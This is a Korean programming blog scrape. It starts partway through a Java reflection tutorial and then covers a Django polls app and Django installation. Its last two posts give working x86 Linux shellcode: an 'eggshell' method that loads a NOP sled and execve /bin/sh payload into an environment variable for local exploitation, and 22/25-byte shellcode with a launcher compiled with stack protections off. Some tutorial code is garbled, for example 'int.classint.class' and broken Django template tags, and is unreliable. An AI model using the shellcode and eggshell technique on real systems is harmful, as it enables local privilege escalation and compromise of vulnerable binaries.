  6.   private void hiddenMethod()
  7.   {
  8.     System.out.print("hello private");
  9.   }
  10.  
  11.   public MyClass()
  12.   {
  13.   }
  14.  
  15.   public int mySum(int a,int b)
  16.   {
  17.     return a+b;
  18.   }
  19.  
  20.   public MyClass (String myname){
  21.     this.myName = myname;
  22.   }
  23.   public String getMyName()
  24.   {
  25.     return myName;
  26.   }
  27.  
  28.   public void setMyName(String myName)
  29.   {
  30.     this.myName = myName;
  31.   }
  32. } // javac MyClass.java


그렇다면 이를 사용하는 소스코드에서는 아래와같은 형식으로 사용된다.


vi MyJava.java


  1. import java.io.*;
  2.  
  3. public class MyJava
  4. {
  5.   public static void main(String args[])
  6.   {
  7.     MyClass myClass = new MyClass("kaspyx");
  8.  
  9.     String myName = myClass.getMyName();
  10.  
  11.     System.out.println("My name is "+myName);
  12.  
  13.   }
  14. } // javac MyJava.java

다시한번 설명을 하자면


MyClass myClass = new MyClass("kaspyx")

String myName = myClass.getMyName();


이런식으로 사용되는데, 이를 Reflection 으로 풀어보면 아래처럼 된다.

보통 Java 문법은 S(주어:object) V(동사:method) O(목적어:argument) 순서이지만, reflection 은 V.invoke(S,O) 순이라고 보면된다. 
먼저 클래스(Class)를 불러오고, 생성자(Constructor)를 구하고, 생성자에 인자를 넘겨 생성자를 만들고 메소드를 얻어와서 invoke() 함수로 실행하는 과정을 거친다. 이를 Reflection 으로 풀어보면 아래처럼 된다.

Class myClass = Class.forName("MyClass");
Constructor myConstuctor = myClass.getConstructor( new Class[] {String.class });
Object myObj = myConstuctor.newInstance("kaspyx");
Method method = myClass.getMethod("getMyName");
String myName = (String)method.invoke(myObj);

코딩으로 확인해보자.

vi MyReflector.java


  1. import java.io.*;
  2. import java.lang.reflect.*;
  3.  
  4. public class MyReflector
  5. {
  6.   public static void main(String args[])
  7.   {
  8.     try{
  9.       Class myClass = Class.forName("MyClass");
  10.       Constructor myConstuctor = myClass.getConstructor( new Class[] {String.class });
  11.       Object myObj = myConstuctor.newInstance("kaspyx");
  12.       Method method = myClass.getMethod("getMyName");
  13.       String myName = (String)method.invoke(myObj);
  14.  
  15.       System.out.println("Myname is "+ myName);
  16.     }
  17.     catch (Exception ex)
  18.     {
  19.       ex.printStackTrace();
  20.     }
  21.   }
  22. } // javac MyReflector.java

* 실행 결과화면


Reflection은 클래스의 생성자(Constructor)나 메소드에서 받는 인자 타입, 필드(Public 이냐 Private)냐 등등에따라서 불리워지는 타입에 맞춰줘야한다.  그래서 조금 헛갈린면이 없지않다

2. 메소드(Method) 및 인자값 전달하기

메소드가 위의 getMyName 처럼 인자가 String 하나면 위와같이 해줘야지만, 여러개의 String을 받는 경우라면 거기에맞게 짜줘야한다.
예를들어 setMyName(String myName) 형태라면 아래와같이해줘야한다.

Class[] methodParamClass = new Class[] {String.class};
Object[] methodParamObject = new Object[] {"Kyungsu kim"};
Method myMethod2 = getClass1.getMethod("getMyName2", methodParamClass);
myMethod2.invoke(myObj, methodParamObject);

mySum(int a, int b) 형태일 경우도 마찬가지이다. 만약  setMyName이에서 받는 문자열 인자가 여러개라면 컴마(,)로 나눠서 넘겨주면된다.

Class[] intParamClass = new Class[] {int.classint.class};
Object[] intParamObject = new Object[] {12};
Method method3 = myClass.getMethod("mySum",intParamClass);
int sum = (int)method3.invoke(myObj,intParamObject);

3. 필드(Field) 다루기

함수 호출 외에도 변수(필드)를 다룰때도 조금 다른데, setget을 이용한다.(여기서는 private 으로 선언된 myName 필드를 가지고 다루어볼것이다.)
priavte 필드(변수)에 접근하려 할때는 setAccessible(True)가 필요하며, getDeclaredField가 사용된다 아래를 참고해보기바란다.

Field field = myClass.getDeclaredField("myName");
field.setAccessible(true); // private일경우 secAccessible(true)로 해줘야 접근가능하다.
field.set(null,"No kaspy~!");
String myName2 = (String)field.get(myObj);

그럼 위에서 설명한 내용들(2,3)을 코딩에 반영해서 확인해보자.

vi MyReflector.java


  1. import java.io.*;
  2. import java.lang.reflect.*;
  3.  
  4. public class MyReflector
  5. {
  6.   public static void main(String args[])
  7.   {
  8.     try{
  9.       Class myClass = Class.forName("MyClass");
  10.       Constructor myConstuctor = myClass.getConstructor( new Class[] {String.class });
  11.       Object myObj = myConstuctor.newInstance("kaspyx");
  12.       Method method = myClass.getMethod("getMyName");
  13.       String myName = (String)method.invoke(myObj);
  14.  
  15.       System.out.println("Myname is "+ myName);
  16.  
  17.       Class[] methodParamClass = new Class[] { String.class };
  18.       Object[] methodParamObject = new Object[] {"Kyungsu Kim"};
  19.       Method method2 = myClass.getMethod("setMyName",methodParamClass);
  20.       method2.invoke(myObj, methodParamObject);
  21.       myName = (String)method.invoke(myObj);
  22.  
  23.       System.out.println("Changed myname is "+ myName);
  24.  
  25.       Class[] intParamClass = new Class[] {int.classint.class};
  26.       Object[] intParamObject = new Object[] {12};
  27.       Method method3 = myClass.getMethod("mySum",intParamClass);
  28.       int sum = (int)method3.invoke(myObj,intParamObject);
  29.  
  30.       System.out.println("Sum is " + sum);
  31.  
  32.       Field field = myClass.getDeclaredField("myName");
  33.       field.setAccessible(true);
  34.       field.set(null,"No kaspy~!");
  35.       String myName2 = (String)field.get(myObj);
  36.       System.out.println("Myname2 is "+ myName2);
  37.  
  38.     }
  39.     catch (Exception ex)
  40.     {
  41.       ex.printStackTrace();
  42.     }
  43.   }
  44. } // javac MyReflector.java

* 실행 결과화면


4. 그외 리플렉션(Reflection) 함수들 


Java 에서는 위에서 설명한 함수들을 제공해주고있다. 


getMethods() , getFields() 등등을 사용하면 함수이나 변수이름을 몰라도 불러올수있으며, 이함수는 public으로 선언한 메소드(함수)나 필드(변수)를 가져온다. getMethod()는 문자열을 가지고 단일 함수를 찾아주지만 getDeclaredMethods()는 private 포함 클래스 내부에서 선언한 함수만 찾아준다.

비슷한 기능이지만 조금씩 다르니 레퍼런스를 잘 참고해서 용도에 맞게 써줘야할것이다. 


코딩을 통해 확인해보자.


vi MyReflector2.java


  1. import java.io.*;
  2. import java.lang.reflect.*;
  3.  
  4. public class MyReflector2
  5. {
  6.   public static void main(String args[])
  7.   {
  8.     try{
  9.  
  10.       Class myClass = Class.forName("MyClass");
  11.       Method methods[] = myClass.getDeclaredMethods();
  12.  
  13.       System.out.println("1.DeclaredMethods() ================");
  14.       for (Method method: methods)
  15.       {
  16.         System.out.println("Found method name: " + method);
  17.       }
  18.  
  19.       Method methods2[] = myClass.getMethods();
  20.       System.out.println("2.getMethods() =====================");
  21.  
  22.       for (Method method: methods2)
  23.       {
  24.         System.out.println("Found method name: " + method);
  25.       }
  26.  
  27.       Field fields[] = myClass.getFields();
  28.       System.out.println("3.getFields=========================");
  29.  
  30.       for (Field field: fields)
  31.       {
  32.         System.out.println("Found field name: " + field);
  33.       }
  34.  
  35.       Constructor myConstuctor = myClass.getConstructor( new Class[] {String.class });
  36.       Method hiddenMethod = myClass.getDeclaredMethod("hiddenMethod");
  37.  
  38.       System.out.println("5.=================================");
  39.       System.out.println("Hidden method name is "+hiddenMethod.getName());
  40.     }
  41.     catch (Exception ex)
  42.     {
  43.       ex.printStackTrace();
  44.     }
  45.   }
  46. } // javac MyReflector2.java


* 실행 결과화면




5. 참고자료


https://docs.oracle.com/javase/tutorial/reflect/class/classMembers.html





저작자 표시
신고

'IT > Java' 카테고리의 다른 글

자바 리플렉션(Java Reflection)  (0) 2017.01.06
자바(Java)로 구현한 RSA 암호학 알고리즘 예제  (0) 2015.11.12
Java로 달력(Calendar) 구현하기  (0) 2015.05.18
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 


번 포스팅에 이어서 이번에는 장고(Django)를 이용해서 웹페이지를 추가하고 이에대한 요청을 처리하는 웹페이지를 만드는 과정을 다루어보도록하겠습니다.


구현된 소스코드에는 자세히 다루지는 않겠지만 따라하기만 해도 어느정도 이해하는데 도움이 될것으로 생각합니다. 


개발 환경은 Ubuntu Linux 16.04 기준


1. 기본 프로젝트 및 구조 생성하기


우선 장고를 사용한 웹서버 구축하기를 먼저보고 오는게 좋을것이다. - link


1) 프로젝트 생성


 웹서버라면 제공하는 서비스에따라 다양한 요청을 처리할수있어야한다. 우선 프로젝트를 추가하고 어플리케이션을 추가하도록 하겠다.


이번 포스팅에서는 설문조사를 하는 사이트를 만들어보도록 하겠다.


아래 명령어를 실행하여 프로젝트를 만들어준다.


django-admin startproject mysite


2) 어플리케이션 생성


생성한 프로젝트로 경로를 옮긴다음에 app을 추가해주도록하자. 

(polls 라는 어플리케이션을 추가)


cd mysite

python manage.py startapp polls


3) 데이터 베이스 변경사항 반영


아래는 데이터베이스 변경사항이 있을때 이를 반영해주는 명령어입니다.


cd mysite

python manage.py migrate 

 

지금까지 한 작업이 잘 반영되어있는지 아래 명령어로 확인할수있음. (이전 포스팅에도 나와있음)


python manage.py runserver 0.0.0.0:8000



관리자 아이디 추가하기


cd mysite

python manage.py createsuperuser 


웹사이트가 만들어졌으니 위의 명령어로 관리자 아이디를 추가해야한다.


이제 프로젝트가 만들어졌을텐데 구조는 아래와같은 구조로 되어있을것이다.



2. MTV 패턴으로 웹페이지 개발하기


 장고(Django)는 기본적으로 MVC(Model View Controller) 패턴기반 MTV 개발을 지원한다. MTV 패턴이란 MVC 거의 같지만 View를 Template을 Controller를 View로 사용한다는점에서 약어만 다르고 거의 비슷하다. 


Business logic이랑 View를 따로 분리/설계 하여 개발하는 기법을 말하는것인데, 여기선 자세힌 다루진않을거고 그냥 내부 로직과 UI가 따로있어서 웹개발자와 디자이너는 서로엮이지않고 자기할것만 할수있는 방법이라고 보면되겠다. 



위와 같은 설문조사 사이트를 만들어볼건데.. 솔직히 모든 내용을 한꺼번에 이해하기엔 쉽지않을것이다. 


분명 url 처리 및 정규표현식도 알아야하고, html 및 python 문법 및 함수도 잘숙지해야한다.


그러나 따라하면서 만들어보고 잘작동하는 서버 소스코드를 분석하다보면 하나씩 이해해가며 접근하는 접근법보다 이해가 쉬울것이니, 잘따라해보길바람

(보다가 머리가 아프다면 복붙 추천!!)


1) 데이터베이스 지정 및 APP 등록


데이터베이스 설정은 settings.py 파일을 열어서 수정해주면된다.


여기서는 기본적으로 지정되어있는 SQLite3를 사용할것이므로 수정해주지않아도 된다.


cd mysite/mysite

vi settings.py 


그러나 위에서 polls 라는 어플리케이션을 추가해줬으므로, mysite/settings.py 파일에 polls 어플리케이션을 등록해줘야한다.


settings.py 파일을 열어서 polls 라는 앱을 등록해주도록하자.



2) 테이블 정의


설문조사를 하는 사이트라면 당연히 DB를 사용해야할것이다. polls/models.py 파일을 수정해주도록하자.


cd mysite/polls

vi models.py 


테이블 클래스는 django.db.models.Model 클래스를 상속받아 정의하며, 각 클래스 변수의 타입도 장고에서 미리 정의된 필드 클래스를 사용한다.


  1. from django.db import models
  2.  
  3. # Create your models here.
  4.  
  5. class Question(models.Model):
  6.   question_text = models.CharField(max_length=200)
  7.   pub_date = models.DateTimeField('date published')
  8.  
  9.   def __unicode__(self):
  10.     return self.question_text
  11.  
  12. class Choice(models.Model):
  13.   question = models.ForeignKey(Question)
  14.   choice_text = models.CharField(max_length=200)
  15.   votes = models.IntegerField(default=0)
  16.  
  17.   def __unicode__(self):
  18.     return self.choice_text


3) Admin 사이트에 테이블 반영


추가된 DB 테이블을 아래와같이 반영해준다.


models.py 모듈에서 정의한 Question, Choice 클래스를 임포트하고 admin.site.register() 함수로 등록해주는 과정이다.


cd mysite/polls

vi admin.py


  1. from django.contrib import admin
  2.  
  3. # Register your models here.
  4.  
  5. from polls.models import Question, Choice
  6.  
  7. admin.site.register(Question)
  8. admin.site.register(Choice)


4) 데이터베이스 변경사항 반영


이제는 아래의 명령어로 생성한 데이터베이스를 반영하도록한다.


cd mysite

python manage.py makemigrations

python manage.py migrate 


makemigrations 명령어는 polls/migrations 디렉토리 하위에 마이그레이션 파일들이 생기고 이 마이그레이션 파일들을 이용하여 migrate 명령어 데이터에이스 테이블을 만들어준다.



변경사항이 잘 반영됬는지는 admin 사이트로 들어가서 관리자 아이디로 로그인하면 아래와 같이 확인할수있다.



5) 애플리케이션 개발하기 - View 및 Template 코딩해주기


앞서 polls 어플을 설계할때 3개의 페이지가 필요하였다. 물론 요청 흐름에대한 로직이 설계되어야하지만, 여기서는 4개의 URL과 뷰를 만들어서 어플을 설계해볼것이다.



① URL Conf 코딩해주기


url 경로는 app 경로에 나눠서 따로 해주는것이좋다


mysite 아래에 app 이 있으므로 우선 mysite url 부터 설정해준다.


cd mysite

vi urls.py


아래와 같이 코딩해주자.


  1. from django.conf.urls import include, include, url
  2. from django.contrib import admin
  3.  
  4. import polls
  5.  
  6. urlpatterns = [
  7.     url(r'^polls/', include('polls.urls',namespace = "polls")) ,
  8.     url(r'^admin/', include(admin.site.urls)),
  9. ]

cd mysite/polls/

vi urls.py



  1. from django.conf.urls import patterns, url
  2. from polls import views
  3.  
  4. urlpatterns = patterns('',
  5.         url(r'^$', views.index, name='index'),
  6.         url(r'^(?P<question_id>\d+)/$', views.detail, name='detail'),
  7.         url(r'^(?P<question_id>\d+)/results', views.results, name='results'),
  8.         url(r'^(?P<question_id>\d+)/vote/$', views.vote, name='vote'),
  9.     )

② 함수 index() 및 템플릿 작성

cd mysite/polls/

mkdir templates

mkdir templates/polls

cd templates/polls

vi index.html


  1. {if latest_question_list %}
  2.     <ul>
  3.     {for question in latest_question_list %}
  4.         <li><a href="/polls/{{question.id}}/">{{question.question_text}}</a></li>
  5.     {% endfor %}
  6.     </ul>
  7. {else %}
  8.     <p> No polls are available.</p>
  9. {% endif %}


③ polls 어플리케이션 view 함수 작성


cd mysite/polls/

vi views.py


  1. from django.shortcuts import render
  2. from django.shortcuts import get_object_or_404
  3. from django.http import HttpResponseRedirect, HttpResponse
  4. from django.core.urlresolvers import reverse
  5. from polls.models import Question
  6.  
  7. def index(request):
  8.     latest_question_list = Question.objects.all().order_by('-pub_date')[:5]
  9.     context = {'latest_question_list': latest_question_list}
  10.     return render(request, 'polls/index.html', context)
  11.  
  12. # Create your views here.
  13.  
  14. def detail(request, question_id):
  15.     question = get_object_or_404(Question, pk=question_id)
  16.     return render(request, 'polls/detail.html',{'question':question})
  17.  
  18. def vote(request, question_id):
  19.     p = get_object_or_404(Question, pk=question_id)
  20.     try:
  21.         selected_choice = p.choice_set.get(pk=request.POST['choice'])
  22.     except (KeyError, Choice.DoesNotExist):
  23.         return render(request, 'polls/detail.html', {
  24.                 'question':p,
  25.                 'error_message':"You didn't select a choice.",
  26.                 })
  27.     else:
  28.         selected_choice.votes += 1
  29.         selected_choice.save()
  30.         return HttpResponseRedirect(reverse('polls:results', args=(p.id,)))
  31.  
  32. def results(request, question_id):
  33.     question = get_object_or_404(Question, pk=question_id)
  34.     return render(request, 'polls/results.html',{'question':question})


④ polls 어플리케이션 내에 detail.html 및 results.html 작성

cd mysite/polls/templates/polls

vi detail.html 


detail.html

  1. <h1> {{ question.question_text }}</h1>
  2.  
  3. {% if error_message %}<p><strong>{{ error_message }} </strong></p>{% endif %}
  4.  
  5. <form action="{% url 'polls:vote' question.id %}" method="post">
  6. {% csrf_token %}
  7. {% for choice in question.choice_set.all %}
  8.     <input type ="radio" name="choice" id="choice{{ forloop.counter }}" value="{{choice.id}}" />
  9.     <label for= "choice{{ forloop.counter }}">{{ choice.choice_text }}</label><br/>
  10. {% endfor %}
  11. <input type = "submit" value="Vote" />
  12. </form>

results.html (위와 동일한 경로)

  1. <h1> {{ question.question_text }} </h1>
  2.  
  3. <ul>
  4. {% for choice in question.choice_set.all %}
  5.     <li> {{ choice.choice_text }} -- {{ choice.votes }} vote {{ choice.votes|pluralize }} </li>
  6. {% endfor %}
  7.  
  8. <a href= "{% url 'polls:detail' question.id %}"> Vote again?</a>



3. 최종 확인하기


위의 순서데로 잘따라해서 코딩해주었다면 polls로 접속시에 아래와 같은 메시지 화면을 볼수있을것이다.



이젠 admin 사이트로 들어가서 질문목록 Choices 와 Questions을 수정하여 설문항목을 추가해주도록하면된다.




* 참고 자료 


Django로 배우는 쉽고 빠른 파이썬 웹 프로그래밍

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 


장고(Django)란 파이썬으로 구현된 웹 개발 프레임워크로 무료 오픈소스로 배포되며 웹서버 개발 및 관리가 용이한 장점을 가지고있습니다.

이번 포스팅에서는 리눅스(Ubuntu) 환경에서 장고를 설치하고 간단한 웹서버를 만드는내용을 다루도록 하겠습니다.

장고를 사용한 웹서버 구축은 정말이지 쉽다~!!

1. 장고(Django) 설치하기

sudo apt-get install python-django


장고가 잘 설치되었으면 python 명령어를 실행하여 Django 버젼을 확인할수있다.

python

import django

print django.get_version() 


kaspyx@kaspyx-Virtual-Machine:~$ python

Python 2.7.12 (default, Nov 19 2016, 06:48:10)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import django
>>> print django.get_version()
1.8.7
>>> quit()



2. 웹서버 구동하기

장고(Django)가 잘 설치되었으면 간단하게 웹서버를 구동할수있다.

django-admin 명령어로 프로젝트를 만들고 웹서버를 가동해보자

django-admin startproject mysite # mysite 프로젝트 생성

python manage.py migrate # DB 변경사항 저장

python manage.py runserver # 서버 구동


위에 명령어를 순서대로 치면 아래와 같은 화면을 볼수있을것이다.



- 관리자 아이디 만들기

 

웹사이트가 있다면 당연히 관리자 아이디가 필요할것이다. 웹사이트 관리자 페이지도 자동으로 만들어진다.


http://127.0.0.1:8000/admin


관리자 페이지는 끝에 /admin 만 추가해주면 접속할수있다. 그러나 우리는 아직 관리자 아이디가없다.


아래의 파이썬 장고 명령어를 사용하여 관리자 아이디를 추가해주록 하자.


python manage.py createsuperuser 


만들어진 아이디 및 패스워드로 admin 사이트에 로그인하면 잘되는것을 확인할수 있을것이다.



접속은 웹브라우저에서 localhost(127.0.0.1)로 하면된다.




* 참고 자료 


Django로 배우는 쉽고 빠른 파이썬 웹 프로그래밍


저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 


에그쉘(eggshell)이란 취약한 바이너리를 exploit 할때 버퍼의 주소 계산이나 버퍼 사이즈등의 난관으로 공략하기 어려울때 이를 환경변수에 등록해두고 이주소를 사용한다. 로컬(local) 환경에서만 사용할수있는 단점이있다.


아래 두개 쉘코드는 25 바이트 및 22바이트로 나름 경량화하였다.


사용법은 export 명령어를 사용하여 에그쉘을 환경변수로 등록하고 getenv 함수를 통하여 에그쉘의 주소를 얻어온후, 프로그램의 ret 주소를 getenv 함수의 주소로 변경한다. 끗


  • shellcode 1 - 25 byte
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3.  
  4. //export kaspyx=`python -c 'print "\x90"*10000+"\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh"'`
  5.  
  6. int main()
  7. {
  8.   char *p;
  9.   p= getenv("kaspyx");
  10.   printf("%x\n",p);
  11.   return 0;
  12. }


  • shellcode 2 - 22 byte
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3.  
  4. //export kaspyx=`python -c 'print "\x90"*10000+"\x6a\x0b\x58\x31\xd2\x31\xc9\x5b\xcd\x80\xe8\xf1\xff\xff\xff/bin/sh"'`
  5.  
  6. int main()
  7. {
  8.   char *p;
  9.   p= getenv("kaspyx");
  10.   printf("%x\n",p);
  11.   return 0;
  12. }



참고 내부링크


 리눅스 쉘코드(shellcode) 만들기 - http://kaspyx.kr/4

 리눅스 쉘코드(shellcode) 크기 줄이기 - http://kaspyx.kr/91

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 


리눅스 쉘코드(shellcode) 사이즈 줄이기(경량화)는 해커들 사이에서도 많이 연구되는 문제로, 얼마나 작은 사이즈의 명령어를 사용하여 쉘코드를 띄우는가 하는 문제이다. 


내가 알기로는 가장 작은 리눅스 쉘코드는 특수한 전제조건이 붙지 않았을때 21 바이트로 알고있는데 쉘코드 사이즈 줄이는 간략한 방법을 소개하도록 하겠다.


우선 내가 이전에 작성한 쉘코드의 사이즈는 25바이트로 아래와 같다.


  1. char buf[] =
  2. "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh";
  3.  
  4. void main()
  5. {
  6.         int *ret;
  7.         ret = (int*)&ret +2;
  8.         (*ret) = (int)buf;
  9. }
  10. // compile: gcc -o shellcode2 shellcode2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack


아래는 쉘코드에 대한 어셈블리어로 아래와같다. 

 


그럼 쉘코드 사이즈를 줄이기 위해서는 어떤것들을 수정해야 할까?


위에서 


xor eax, %eax,

movb 0x0b , %al


명령어는 4바이트를 먹는반면


push $0x0b

pop %eax


으로 바꾸면 3바이트로 1 바이트를 절약할수 있다.


jmp strings를 삭제해도 ebx에는 이상한값이 들어오면 cpu는 이를 무시하고 실행하므로 2바이트를 절약해서 총 3바이트를 절약할수있었고 22바이트로 쉘코드의 사이즈를 줄일수 있었다.


Tiny shellcode - 22 byte


  1. char buf[] =
  2. "\x6a\x0b\x58\x31\xd2\x31\xc9\x5b\xcd\x80\xe8\xf1\xff\xff\xff/bin/sh";
  3.  
  4. void main()
  5. {
  6.         int *ret;
  7.         ret = (int*)&ret +2;
  8.         (*ret) = (int)buf;
  9. }
  10. // compile: gcc -o shellcode2 shellcode2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack



참고 내부링크


 리눅스 쉘코드 만들기 - http://kaspyx.kr/4

저작자 표시
신고
Posted by 캐스피


티스토리 툴바